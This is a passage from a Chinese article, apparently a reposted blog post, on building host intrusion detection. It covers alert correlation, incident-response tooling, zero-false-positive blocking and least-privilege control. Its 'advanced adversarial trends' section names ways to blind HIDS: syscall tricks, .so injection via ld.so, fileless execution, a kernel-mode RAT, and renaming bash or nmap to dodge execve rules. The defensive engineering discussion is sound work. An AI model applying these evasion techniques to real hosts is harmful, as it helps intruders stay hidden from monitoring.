preserve;"><span md-inline="plain">告警相关进程的容器信息关联：Pod信息，容器ID，镜像信息；</span></p></li><li><p cid="n2035" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">其他日志关联：相关应用日志关联，nginx accesslog关联，所属 crond 日志关联，所属 linux service 日志关联等；</span></p></li><li><p cid="n2037" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">其他安全产品关联：RASP，K8s Auditing，网络层安全产品等。</span></p></li></ul><p cid="n2038" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">其中部分场景的数据需要从端上采集而非全量实时采集，如某Java进程产生某告警，Server需要调度Agent的数据采集插件对该进程的相关日志进行采集上报，比如采集告警前2分钟后5分钟的该进程日志，然后再告警详情页供IR人员查看。</span></p><p cid="n2039" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">这样不仅仅能有效的提高IR人员的效率，还能帮助IR人员查漏补缺。</span></p><p cid="n2040" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><p cid="n2041" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">无论是Runtime原始数据溯源还是其他数据溯源，最好可以提供整体的图关联展示+表格数据展示，便于IR人员观察和检索分析。</span></p><p cid="n2042" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><h3 cid="n2043" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">3.4 应急响应功能</span></h3><ul class="list-paddingleft-1" cid="n2044" mdtype="list" data-mark="*" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"><li><p cid="n2046" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">提供最近服务器新增文件列表；</span></p></li><li><p cid="n2048" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">提供系统关键文件完整性校验；</span></p></li><li><p cid="n2050" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">提供ssh登陆记录，know hosts记录，登陆拓扑等；</span></p></li><li><p cid="n2052" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">提供人员操作记录（ssh登陆后的操作记录）；</span></p></li><li><p cid="n2054" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">提供定时任务和系统服务调用记录与关键日志；</span></p></li><li><p cid="n2056" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">提供有基础权限的可交互的伪shell，便于应急响应人员第一时间无需登陆服务器即可获取一些基础数据，比如支持/proc下可读，并且支持ps，top，ss等这类命令。</span></p></li></ul><p cid="n2057" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">这部分最好可以设计在告警详情页面中以便IR同学快速查看。</span></p><p cid="n2058" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><h3 cid="n2059" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">3.5 主动防御</span></h3><p cid="n2060" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">主动防御应该是针对100%确认的恶意的行为进行阻断，这里出现了1-2例误报就会让业务和安全工程师失去信心。</span></p><p cid="n2061" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">因此通过大量外部蜜罐数据明确了某些自动化攻击家族的pattern，再通过自动化+人工确认的方案提炼成行为序列检测策略，然后通过行为序列检测方法进行阻断，阻断后给出也可以恶意家族报告证明阻断的合法性，并且通过自动化的方式提升蜜罐数据到自动化阻断策略的效率。</span></p><p cid="n2062" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">还有一些比较强的特征比如明确的静态指纹特征，明确的挖矿/勒索/DDOS行为或静态文件特征，明确的基于内部情报的特征等可以使用。</span></p><p cid="n2063" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">总之不能基于普通的入侵检测策略进行阻断，应该要有非常强的阻断依据，目标应该是误报率为0%。</span></p><p cid="n2064" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><h2 cid="n2066" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">4. 高级对抗趋势</span></h2><ul class="list-paddingleft-1" cid="n2067" mdtype="list" data-mark="*" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"><li><p cid="n2069" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">传统的致盲能力，如利用x32 syscall，udp，rawsorcket，icmp，build-in，elflodar，elf与so注入，绕过vfs，fileless等方式来避开常见hook点，从而实现从底层即数据采集层进行Bypass；</span></p></li><li><p cid="n2071" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">Ring3层对抗也不断有新的技巧出现，比如几年前的orbit，通过修改ld.so实现恶意so的注入确实在传统HIDS层面比较难检测，可能需要在Agent侧引入类似</span><span md-inline="url" spellcheck="false" style="word-break: break-all;"><a href="https://github.com/mempodippy/detect_preload" target="_blank">https://github.com/mempodippy/detect_preload</a></span><span md-inline="plain">的方案来做检测；</span></p></li><li><p cid="n2073" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">Ring0层RAT，传统的Linux R0 Rootkit重点在隐藏用户态恶意进程，文件，网络等行为，让安全产品或相关人员无法发现其行为，但是随着主机安全产品逐步都在通过各种内核态方案进行数据采集，并且也比较容易针对性检测，这种方式上会逐步失效。但是实际上在R0可以完成所有RAT需要的功能，不必依赖用户态的能力，比如：</span></p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000735" data-ratio="0.5907407407407408" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6426c5da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVwuh3hJqbocYfu7Qm4JTXcx6K8bEjdHiaRacITVL1SI4fQgp6W0R3OVibvZjrIF4IJR8tq6Eao8PzDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p cid="n2075" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">该例子是在内核态实现了劫持指定连接并且实现接收控制者命令并执行然后基于劫持的连接返回执行结果的Case，从HIDS视角不会产生任何数据，用户态也不会有任何相关进程或后门文件。这种场景下如果投入足够高可以完美的避开所有主机安全的监控，并且可以完成非常丰富和复杂的功能。这部分的对抗成本非常高，而且不排除投毒的可能性，建议是先一步掌握主动权，即：内核模块需要签名才可以进入内核。</span></p><ul class="list-paddingleft-1" cid="n2067" mdtype="list" data-mark="*" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"><li><p cid="n2077" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">Ring0层以下：笔者了解较少；</span></p></li><li><p cid="n2079" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">前置被入侵，相关导致权限丢失，导致横向移动到服务器端的行为从HIDS视角观察都是”正常“业务操作。</span></p></li></ul><p cid="n2080" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><p cid="n2081" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">另外这里需要提一下，目前主机端的策略建设都太过于依赖进程创建了，很多场景下可能简单的</span><span md-inline="code" spellcheck="false"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">mv bash abc</code></span><span md-inline="plain">或者</span><span md-inline="code" spellcheck="false"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">mv nmap 123</code></span><span md-inline="plain">然后再执行相关操作都可以实现Bypass，这里我觉得可能是所有策略建设同学都需要思考的问题，一方面在实际生产环境确实不可能无限增加hook点来不断提升行为感知的覆盖率，另一方面各种针对绕过Execve的情况也越来越多，我之前有设想过一个方案：</span></p><ul class="list-paddingleft-1" cid="n2082" mdtype="list" data-mark="*" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"><li><p cid="n2084" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">根据服务器的业务属性，部署环境，漏洞基线层面的风险情况，具体组件，历史威胁情况动态的配置不同的数据采集能力，比如：RASP能力，应用层日志采集分析能力，默认不开启的Hook能力如Accept，File Write，File Read等；</span></p></li><li><p cid="n2086" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">举例如果A业务存在公网暴露，并且相关组件存在漏洞，服务器目前CPU和MEM资源还有较多剩余，动态开启了RSAP和File Write与FIle Read，业务漏洞修复完成后自动关闭了File Write和File Read的Hook。</span></p></li></ul><p cid="n2087" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">最终还是需要增加新的数据感知能力来应对更复杂的场景，但是我们可以通过更加动态和精准的方式调整这些数据采集的开关或者检测模型，来尽可能降低成本和业务侧的影响。</span></p><p cid="n2088" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><p cid="n2089" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">还有一个问题是目前有些安全厂商构建策略的时候实际上考虑的并不是真正的对抗，而是面向竞品和招投标POC进行建设的，或者是噱头式的功能开发，很难真的在检测工程方面积累沉淀，在新型风险或者未知攻击行为面前能力很难说，不过实际上关注这部分的用户其实确实也很少就是了。</span></p><p cid="n2090" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><p cid="n2091" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">附很久之前画的一张草图：Linux下的对抗难度金字塔。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000736" data-ratio="0.4425925925925926" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=13633bbb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVwuh3hJqbocYfu7Qm4JTXcxFprr4iaypDhNZhvicBzerATL1zjjpYWYl3QrV4qQU2Im1ib7qjHmkClKA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><span style="font-family: monospace;background-color: rgb(255, 255, 255);color: rgb(51, 51, 51);font-size: 16px;letter-spacing: normal;orphans: 4;text-align: start;caret-color: rgb(0, 122, 255);white-space-collapse: preserve;"></span></p><p cid="n2094" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><h2 cid="n2095" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">5. 延伸讨论：关于安全“控制”</span></h2><p cid="n2096" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">安全的本质是什么？这个问题我思考了很久，答案在几年前基本定型了，我的答案是：</span></p><p cid="n2097" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="code" spellcheck="false"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">保证业务在预期的环境内，执行预期的行为。</code></span></p><p cid="n2098" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">目前的基线检测，漏洞发现等是尽可能确保在预期的环境内运行。</span></p><p cid="n2099" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">而入侵检测是在不断尝试发现小部分非预期的行为。</span></p><p cid="n2100" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><p cid="n2101" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">如何更近一步？我觉得这个答案实际上很早就有了，就是所谓的MAC(mandatory access control)，比如基于LSM的SeLinux，但是很显然，这不适用于现有的互联网公司的架构和需求。</span></p><p cid="n2102" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><p cid="n2103" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">我们设想一下，怎样的权限控制体系才是最优解，我们从一个发布到生产环境的二进制的视角看下：</span></p><ul class="list-paddingleft-1" cid="n2104" mdtype="list" data-mark="*" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"><li><p cid="n2106" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">编译成为镜像或二进制，镜像或二进制内有可以确认具体业务ID的凭证；</span></p></li><li><p cid="n2108" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">发布到生产环境后通过确认身份信息，操作系统授予对应的业务的网络和系统权限，比如：仅能访问自己的上下游业务端口，如果没有DBProxy那只能访问自己有权限的数据库等等，文件仅有公共日志目录的写权限，权限体系应该是最小粒度的控制；</span></p></li><li><p cid="n2110" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">如果这时候有外部入侵植入了后门，那么后门因为没有自己的业务身份信息，将不会有任何权限。</span></p></li></ul><p cid="n2111" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><p cid="n2112" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">如果是一个开发人员登陆到某台服务器上，那么他的视角是：</span></p><ul class="list-paddingleft-1" cid="n2113" mdtype="list" data-mark="*" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: 